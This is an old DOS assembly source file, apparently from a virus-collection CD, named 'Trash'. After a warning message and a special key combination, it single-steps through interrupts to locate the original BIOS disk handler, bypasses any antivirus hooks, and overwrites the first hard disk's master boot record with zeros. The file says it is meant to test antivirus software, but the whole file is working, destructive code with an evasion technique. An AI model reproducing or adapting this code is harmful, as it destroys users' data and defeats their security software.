Underground/Underground CD1.iso/virii/zrodla/t/trash.asm

Assembly Source File | 1998-01-14 | 3.5 KB | 169 lines

    page    ,132

    title    Trash - smashes the boot record on the first hard disk

    name    TRASH



    .radix    16



code    segment

    assume    cs:code,ds:code



    org    100



CODEX    equ    0C000        ; Or use 0300 when tracing DOS



CR    equ    0Dh

LF    equ    0A



start:

    jmp    do_it



oldint1 dd    ?

newintx dd    ?

oldintx dd    ?

trace    db    1

found    db    0

buffer    db    200 dup (0)

message db    CR,LF,'**********  W A R N I N G ! ! !  **********',CR,LF,CR,LF

    db    'This program, when run, will zero (DESTROY!) the',CR,LF

    db    'master boot record of your first hard disk.',CR,LF,CR,LF

    db    'The purpose of this is to test the antivirus software,',CR,LF

    db    'so be sure you have installed your favourite',CR,LF

    db    'protecting program before running this one!',CR,LF

    db    "(It's almost sure it will fail to protect you anyway!)",CR,LF

    db    CR,LF,'Press any key to abort, or',CR,LF

    db    'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $'

warned    db    CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$'



do_it:

    mov    ax,600        ; Clear the screen by scrolling it up

    mov    bh,7

    mov    dx,1950

    xor    cx,cx

    int    10



    mov    ah,0F        ; Get the current video mode

    int    10        ;  (the video page, more exactly)



    mov    ah,2        ; Home the cursor

    xor    dx,dx

    int    10



    mov    ah,9        ; Print a warning message

    mov    dx,offset message

    int    21



    mov    ax,0C08     ; Flush the keyboard and get a char

    int    21

    cmp    al,0        ; Extendet ASCII?

    jne    quit1        ; Exit if not

    mov    ah,8        ; Get the key code

    int    21

    cmp    al,6C        ; Shift-F5?

    jne    quit1        ; Exit if not

    mov    ah,2        ; Get keyboard shift status

    int    16

    and    al,1101b    ; Ctrl-Alt-RightShift?

    jnz    proceed     ; Proceed if so

quit1:

    jmp    quit        ; Otherwise exit



proceed:

    mov    ah,9        ; Print the last message

    mov    dx,offset warned

    int    21



    mov    ax,3501     ; Get interrupt vector 1 (single steping)

    int    21

    mov    word ptr oldint1,bx

    mov    word ptr oldint1+2,es



    mov    ax,2501     ; Set new INT 1 handler

    mov    dx,offset newint1

    int    21



    mov    ax,3513     ; Get interrupt vector 13

    int    21

    mov    word ptr oldintx,bx

    mov    word ptr oldintx+2,es

    mov    word ptr newintx,bx

    mov    word ptr newintx+2,es



; The following code is sacred in it's present form.

; To change it would cause volcanos to errupt,

; the ground to shake, and program not to run!



    mov    ax,200

    push    ax

    push    cs

    mov    ax,offset done

    push    ax

    mov    ax,100

    push    ax

    push    cs

    mov    ax,offset faddr

    push    ax

    mov    ah,55

    iret



    assume    ds:nothing



faddr:

    jmp    oldintx



newint1:

    push    bp

    mov    bp,sp

    cmp    trace,0

    jne    search

exit:

    and    [bp+6],not 100

exit1:

    pop    bp

    iret

search:

    cmp    [bp+4],CODEX

    jb    exit1

;Or use ja if you want to trace DOS-owned interrupt

    push    ax

    mov    ax,[bp+4]

    mov    word ptr newintx+2,ax

    mov    ax,[bp+2]

    mov    word ptr newintx,ax

    pop    ax

    mov    found,1

    mov    trace,0

    jmp    exit



    assume    ds:code

done:

    mov    trace,0

    push    ds

    mov    ax,word ptr oldint1+2

    mov    dx,word ptr oldint1

    mov    ds,ax

    mov    ax,2501     ; Restore old INT 1 handler

    int    21

    pop    ds



; Code beyong this point is not sacred...

; It may be perverted in any manner by any pervert.



    cmp    found,1     ; See if original INT 13 handler found

    jne    quit        ; Exit if not

    push    ds

    pop    es        ; Restore ES



    mov    ax,301        ; Write 1 sector

    mov    cx,1        ; Cylinder 0, sector 1

    mov    dx,80        ; Head 0, drive 80h

    mov    bx,offset buffer

    pushf            ; Simulate INT 13

    call    newintx     ; Do it



quit:

    mov    ax,4C00     ; Exit program

    int    21



code    ends

    end    start